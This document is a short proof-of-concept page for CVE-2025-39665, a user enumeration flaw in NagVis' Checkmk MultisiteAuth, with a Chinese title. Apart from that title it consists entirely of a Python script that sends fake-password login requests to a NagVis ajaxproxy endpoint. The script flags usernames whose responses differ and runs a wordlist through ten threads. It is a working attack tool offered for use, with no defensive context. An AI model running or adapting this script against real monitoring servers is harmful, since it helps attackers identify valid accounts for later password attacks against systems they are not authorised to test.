CVE-2025-39665: Nagvis Checkmk MultisiteAuth用户枚举漏洞

# CVE-2025-39665 User Enumeration PoC import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-server/nagvis/" CHECKMK_AUTH_ENDPOINT = "ajaxproxy.php?qfunc=check_mk_login" def test_username(username): """Test if a username exists in Checkmk via Nagvis MultisiteAuth""" try: # Payload simulating authentication request payload = { '_username': username, '_password': 'FAKE_PASSWORD_FOR_ENUMERATION' } response = requests.post( TARGET_URL + CHECKMK_AUTH_ENDPOINT, data=payload, timeout=10, allow_redirects=False ) # Analyze response differences # Valid users may return different error messages or response codes if 'user not found' not in response.text.lower() and \ response.status_code != 401: print(f"[+] Potential valid user: {username}") return username else: print(f"[-] User not found: {username}") return None except requests.RequestException as e: print(f"[!] Error testing {username}: {e}") return None def enumerate_users(wordlist_file): """Enumerate Checkmk users from a wordlist""" with open(wordlist_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] print(f"[*] Testing {len(usernames)} usernames...") valid_users = [] with ThreadPoolExecutor(max_workers=10) as executor: results = executor.map(test_username, usernames) valid_users = [r for r in results if r] print(f"\n[*] Found {len(valid_users)} valid users") return valid_users if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-39665.py <wordlist.txt>") sys.exit(1) enumerate_users(sys.argv[1])